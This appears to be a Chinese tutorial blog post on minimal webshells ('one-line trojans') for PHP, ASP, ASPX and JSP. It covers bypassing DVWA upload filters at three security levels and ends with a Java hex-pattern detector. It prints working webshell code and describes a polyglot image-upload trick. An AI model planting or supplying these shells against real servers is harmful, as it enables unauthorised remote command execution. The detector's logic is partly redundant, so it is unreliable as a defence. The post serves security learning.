一句话木马

/ 0条评论 / 0 个点赞 / 1089人阅读

php

<?php echo shell_exec($_GET['cmd']);?>

asp

<%execute(request("value"))%>

aspx

<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

jsp

无回显执行系统命令

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?cmd=ls

执行之后不会有任何回显,用来反弹个shell很方便。

有回显带密码验证的

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=123&cmd=ls /

上传文件

通过Burp Suite绕过前端验证文件格式,通过修改数据包通过后端检验。

安全级别Low

前后端没有任何验证

安全级别Medium

仅前端判断文件后缀名

当前端提示不能发送非jpg、png格式时,Burp Suite配置好Proxy -》 Options,并在Proxy-》Intercept-》Intercept is on,浏览器设置代理为Options中的配置

首先把shell.php后缀改为jpg,然后提交,在filename中把文件shell.jpg后缀改为shell.php

/upload/article/png/520520_20210915095915.png

安全级别High

准备一个图片和shell.php脚本,windows下运行

copy 1.png/b+shell.php/a shell.png

/upload/article/png/520520_20210915095946.png

将图片上传后,使用中国菜刀连接(中国菜刀可以把图片当成php执行)

访问

这里以php的 <?php echo shell_exec($_GET['cmd']);?> 为例子

访问一句话木马文件(要知道上传的文件目录)

http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=ls

php中的cmd是参数

/upload/article/png/520520_20210915100006.png

可以看到cmd参数为ls是直接查询当前目录下的文件

同样可以操作其他目录文件

/upload/article/png/520520_20210915100020.png

其他kali下的web后门工具

webacoo

仅适用于php

/upload/article/png/520520_20210915100036.png

weevely

仅适用于php

/upload/article/png/520520_20210915100053.png

总结

对于这些一句话木马工具,现有的技术手段比较难检测了,主要原因在于交互流量加密,并且协议的私有性,很难通过特征匹配,后续可能还是通过态势感知系统之类的分析统计功能会有效一些,这方面的问题我们团队也一直在思考和测试。由于水平有限,欢迎大家指出文中的错误和交流指教

解决办法

/**
	 * 验证文件内容,防止一句话木马
	 * @param inputStream
	 * @return
	 * @throws IOException
	 */
	public static boolean verifyFileContent(InputStream inputStream) throws IOException {
	      byte[] byteArray = IOUtils.toByteArray(inputStream);
	      String str = bytesToHexString(byteArray);
	      // 匹配16进制中的 <% ( ) %> 
	      // 匹配16进制中的 <? ( ) ?> 
	      // 匹配16进制中的 <script | /script> 大小写亦可
	      // 通过匹配十六进制代码检测是否存在木马脚本
	      String pattern = "(3c25.*?28.*?29.*?253e)|(3C25.*?28.*?29.*?253E)|(3c3f.*?28.*?29.*?3f3e)|(3C3F.*?28.*?29.*?3F3E)|(3C534352495054)|(3c534352495054)|(2F5343524950543E)|(2f5343524950543e)|(3C736372697074)|(3c736372697074)|(2F7363726970743E)|(2f7363726970743e)";
	      Pattern mPattern = Pattern.compile(pattern);
	      Matcher mMatcher = mPattern.matcher(str);
	   
	      // 查找相应的字符串
	      boolean flag = true;
	      if(mMatcher.find()) {
	          flag = false;
	         //过滤java关键字(java import String print write( read() php request alert system)(暂时先这样解决,这样改动最小,以后想后更好的解决方案再优化)
	          String keywordPattern = "(6a617661)|(696d706f7274)|(537472696e67)|(7072696e74)|(777269746528)|(726561642829)|(706870)|(72657175657374)|(616c657274)|(73797374656d)|(6A617661)|(696D706F7274)|(537472696E67)|(7072696E74)|(777269746528)|(726561642829)|(706870)|(72657175657374)|(616C657274)|(73797374656D)";
	          Pattern keywordmPattern = Pattern.compile(keywordPattern);
	          Matcher keywordmMatcher = keywordmPattern.matcher(str);
	          if(keywordmMatcher.find()){
	              flag = false;
	          }
	      }
	      return flag;
	 }